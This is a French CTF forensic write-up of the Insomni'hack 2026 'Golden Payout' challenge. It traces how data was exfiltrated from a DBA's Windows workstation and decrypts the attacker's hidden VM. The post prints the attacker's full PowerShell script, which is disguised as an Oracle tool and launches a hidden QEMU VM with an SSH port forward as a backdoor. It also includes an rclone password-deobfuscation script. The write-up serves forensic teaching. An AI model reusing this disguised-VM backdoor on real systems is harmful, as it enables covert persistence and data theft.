CTF

Insomni’hack 2026 – Golden Payout

Sanchez Emma & Gaigneux Camille
- Audit
9/4/2026
A l'occasion du CTF Insomni'hack, Emma, pentester chez OWN, revient sur le challenge Golden Payout.OWN Security

A l'occasion du CTF Insomni'hack, Emma, pentester chez OWN, revient sur le challenge Golden Payout.

Enoncé du challenge

A massive data breach has just hit our corporate network. Highly sensitive documents have been spotted on a prominent Darknet leaking platform. Preliminary network telemetry has flagged suspicious outbound traffic originating from a specificworkstation belonging to one of our DBA. As part of the Rapid Response Investigation Team, you have been assigned to perform a deep-dive forensic analysis of the suspect's workstation.

Dans ce challenge, nous disposons d'une image disque Windows au format E01, correspondant au poste compromis d'un administrateur base de données (DBA).

L'objectif est d'identifier le vecteur d'exfiltration et les techniques d'évasion utilisées par l'attaquant.

Acquisition et montage de l'image

L’image disque est analysée sous Linux via les outils ewf-tools :

sudo ewfmount GoldenPayout.E01 /mnt/ewf

# récupération de l'offset de la Basic Data partition

mmls /mnt/ewf/ewf1

mount -o loop,offset=$((239616*512)) /mnt/ewf/ewf1 /mnt/disk

cd /mnt/disk # accès aux fichiers


Analyse préliminaire - Prefetch

Une première étape consiste à analyser les fichiers Prefetch, situés dans :

Windows/Prefetch/

Ces artefacts permettent d’identifier rapidement les exécutables récemment lancés.

La présence de l'exécutable powershell.exe suggère l'utilisation récente de commande Powershell, souvent utilisé dans des scénarios d'attaque pour exécuter des scripts ou télécharger des payloads.

Investigation Powershell

Afin d'identifier le script qui a été exécuté, une analyse de l'historique de powerhsell et de certains fichiers de log evtx peut être faite.

Cependant, certains fichiers ont été vidés, comme l'historique Powershell de l'utilisateur Galahad. On peut supposer qu'il y a eu de l'anti-forensic de la part de l'attaquant.

Cependant, le journal Powershell Operational.evtx, contient des traces exploitables :

evtx_dump.py "/mnt/disk/Windows/System32/winevt/Logs/Microsoft-Windows-PowerShell%4Operational.evtx"


Un script ps1 a été exécutée dans ProgramData\Oracle\Diag\Recovery.


Analyse du script

Le script se présente comme un utilitaire Oracle légitime, avec une bannière qui semble officielle.

<# #########################################################################
## Utility: Oracle Diag Recovery
## Version: 11.1.0.3.0 - Production
## Purpose: Gather schema statistics and repair damaged database
## Author: SYS_ADM (Oracle Database Administration Kit)
## Date: 2024-08-17
## (C) Oracle Corporation 1999, 2011. All rights reserved.
######################################################################### #> 
$basePath = "C:\ProgramData\Oracle\Diag\Recovery" Set-Location $basePath

# Cryptographic Provider Settings

$CryptoProvider = 
"HKLM:\SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" $ke = (Get-ItemProperty -Path $CryptoProvider).Seed $layout = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" $kd = "" foreach ($c in $ke.ToCharArray()) { $idx = $layout.IndexOf($c) if ($idx -ne -1) { $newIdx = ($idx - 11 + $layout.Length) % $layout.Length $kd += $layout[$newIdx] } else { $kd += $c } }

# Database rebuild

$psi = New-Object System.Diagnostics.ProcessStartInfo $psi.FileName = "$basePath\ora_db_recovery.exe" $psi.WorkingDirectory = $basePath $psi.Arguments = "-m 256 -hda `"$basePath\ora_sys_01.db`" -netdev user,id=net0,hostfwd=tcp:0.0.0.0:22022-:22 -device virtio-net-pci,netdev=net0 -nographic -serial mon:stdio -display none -snapshot" $psi.UseShellExecute = $false $psi.RedirectStandardInput = $true $psi.CreateNoWindow = $true if (Get-Process "ora_db_recovery" -ErrorAction SilentlyContinue) { exit } $p = [System.Diagnostics.Process]::Start($psi) Start-Sleep -Seconds 60 if ($p -and !$p.HasExited) { $p.StandardInput.Write("$kd`n") $p.StandardInput.Flush() $p.StandardInput.Close() Remove-Variable kd -ErrorAction SilentlyContinue $kd = $null } exit

Cependant, en analysant le script plus en profondeur, on constate qu'il réalise plusieurs actions :

  • Génération  d'une clé avec la valeur d'une clé de registre Seed puis sa transformation via un algorithme de type ROT-11
  • Lancement d'un binaire :

$psi.FileName = "$basePath\ora_db_recovery.exe"

Les arguments du script sont les mêmes que ceux utilisées pour lancer une VM QEMU :

Argument

Signification

-m 256

VM avec 256MB de RAM

-hda ora_sys_01.db

Image disque de la VM

hostfwd=tcp:0.0.0.0:22022-:22

Forward du port 22 de la VM vers le port 22022 de la machine hôte

-nographic -display none

VM invisible, aucune fenêtre

-snapshot

Pas de persistance des modifications sur le disque

Le script crée une VM QEMU chiffrée avec LUKS et expose le port 22022 de la machine Windows vers la VM Linux : cette VM permet à l'attaquant de se connecter à la machine Windows et ainsi de faire de la persistance.

ora_db_recovery.exe est l'exécutable QEMU renommé et ora_sys_01.db est l'image qcow2 :

Ainsi, il s'agit d'un tunnel SSH caché : l'attaquant peut se connecter en SSH sur le port 22022 de la machine Windows et atterrir dans la VM, qui lui sert de C2.

Chiffrement de la VM

Récupération de la Seed

L'image disque est chiffrée avec LUKS.

Avec RegistryExplorer de Eric Zimmerman, accéder à SOFTWARE\Microsoft\Cryptography\Defaults\Provider\MicrosoftStrong Cryptographic Provider a fin de récupérer la Seed :

La Seed est XFyyE23XFvE4sXFy.

Déchiffrement

Création d'un script Python pour retrouver la clé :

def rot11_decode(s): 
    layout =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
    result = ""
    for c in s:
                 idx = layout.find(c)
                 if idx != -1:
                           result += layout[(idx - 11) % len(layout)]
                else:
                         result += c
               return result

seed = "XFyyE23XFvE4sXFy"
print("Clé :", rot11_decode(seed))


La clé de déchiffrement est : M4nn3rsM4k3thM4n.

Analyse de la VM

Conversion du fichier qcow2 en raw et montage :

file "/mnt/disk/ProgramData/Oracle/Diag/Recovery/ora_sys_01.db"

sudo apt install qemu-utils -y

qemu-img info "ora_sys_01.db"

# Convertir et monter

qemu-img convert -f qcow2 -O raw ora_sys_01.db ora_sys_01.raw

sudo modprobe nbd

# lsblk

NAME     MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS

loop0      7:0    0 59,9G  1 loop /mnt/disk

sda        8:0    0   50G  0 disk

─sda1     8:1    0   46G  0 part /

─sda2     8:2    0    1K  0 part

└─sda5     8:5    0    4G  0 part [SWAP]

sr0       11:0    1 1024M  0 rom 

nbd0      43:0    0    1G  1 disk

─nbd0p1  43:1    0  300M  1 part

└─nbd0p2  43:2    0  723M  1 part <--- ICI


Il est maintenant possible de déchiffrer la VM afin de la monter :

sudo cryptsetup luksOpen /dev/nbd0p2 decrypted


Montage du volume pour lire les données :

sudo mount -o ro /dev/mapper/vg0-lv_root /mnt


Maintenant on peut accéder aux différents fichiers à partir de /mnt.

Identification de l'exfiltration

L’examen du contenu de la VM révèle qu’un fichier creds.txt a été créé puis rapidement supprimer dans le répertoire /root. De manière similaire, une archive Oracle.7z a été générée, transférée puis effacée peu après. Ces éléments montrent que les données compromises étaient temporairement stockées sur la VM Linux avant d’être exfiltrées vers une destination externe.

$ cat analyze_schema.log

 

Setting up watches.

Watches established.

2026/03/17 18:53:52 INFO  : creds.txt: Copied (new)

2026/03/17 18:53:52 INFO  : creds.txt: Deleted

2026/03/17 18:53:52 INFO  :

Transferred:             60 B / 60 B, 100%, 0 B/s, ETA -

Checks:                 2 / 2, 100%

Deleted:                1 (files), 0 (dirs)

Renamed:                1

Transferred:            1 / 1, 100%

Elapsed time:         0.9s

 

2026/03/17 19:15:39 INFO  : Oracle.7z: Copied (new)

2026/03/17 19:15:39 INFO  : Oracle.7z: Deleted

2026/03/17 19:15:39 INFO  :

Transferred:        3.630 MiB / 3.630 MiB, 100%, 2.713 MiB/s, ETA 0s

Checks:                 2 / 2, 100%

Deleted:                1 (files), 0 (dirs)

Renamed:                1

Transferred:            1 / 1, 100%

Elapsed time:         1.7s

On comprend que les données exfiltrées sont stockées temporairement sur la VM Linux avant d'être transférées vers l'extérieur et supprimées.

Utilisation de rclone

Par ailleurs, un fichier de configuration existe pour rclone :

rclone est un utilitaire permettant de la gestion des fichiers sur une instance Cloud.
Le mot de passe affiché dans le fichier de configuration est simplement offusqué et non chiffré, il est donc possible de le reverse soit en faisant un petit script soit en utilisant un projet déjà existant tel que : https://github.com/maaaaz/rclonedeobscure.

Création d'un script pour "dé-offusquer" le mot de passe :

import base64
from Crypto.Cipher import AES

# La clé est hardcodée dans la source

# https://github.com/rclone/rclone/blob/master/fs/config/obscure/obscure.go

key = bytes([0x9c, 0x93, 0x5b, 0x48, 0x73, 0x0a, 0x55, 0x4d,

             0x6b, 0xfd, 0x7c, 0x63, 0xc8, 0x86, 0xa9, 0x2b,

             0xd3, 0x90, 0x19, 0x8e, 0xb8, 0x12, 0x8a, 0xfb,

             0xf4, 0xde, 0x16, 0x2b, 0x8b, 0x95, 0xf6, 0x38])

data = base64.urlsafe_b64decode(

    "XFByPeH7WsqlO92Fs6FQhfayDLJhD6a0yaKgiZhKktfATRopBhyiqBPf9yMKvx0Kyi86NOxQHMU" + "=="

)

iv, ciphertext = data[:16], data[16:]

cipher = AES.new(key, AES.MODE_CTR, nonce=b'', initial_value=iv)

print("Mot de passe:", cipher.decrypt(ciphertext).decode())


En exécutant le script, on retrouve le flag 🥳

Conclusion

Cette analyse forensic illustre une attaque complexe, combinant différentes techniques. L'utilisation d'une VM embarquée comme enclave malveillante représente une technique particulièrement efficace : elle permet d'isoler les outils de l'attaquant tout en réduisant la visibilité côté hôte.

Bien que ce scénario soit présenté dans le cadre d’un CTF, les techniques identifiées sont directement inspirées d’attaques observées "in the wild". Des groupes APT et cybercriminels ont déjà été documentés en train d’utiliser des VM Linux ou QEMU sur Windows[1].

Ce lien entre pratique CTF et technique réelle illustre combien les challenges de CTF peuvent être des laboratoires pédagogiques pour comprendre les attaques modernes et innovantes.

[1] https://www.bleepingcomputer.com/news/security/windows-infected-with-backdoored-linux-vms-in-new-phishing-attacks/

Partager l'article :

Your OWN cyber expert.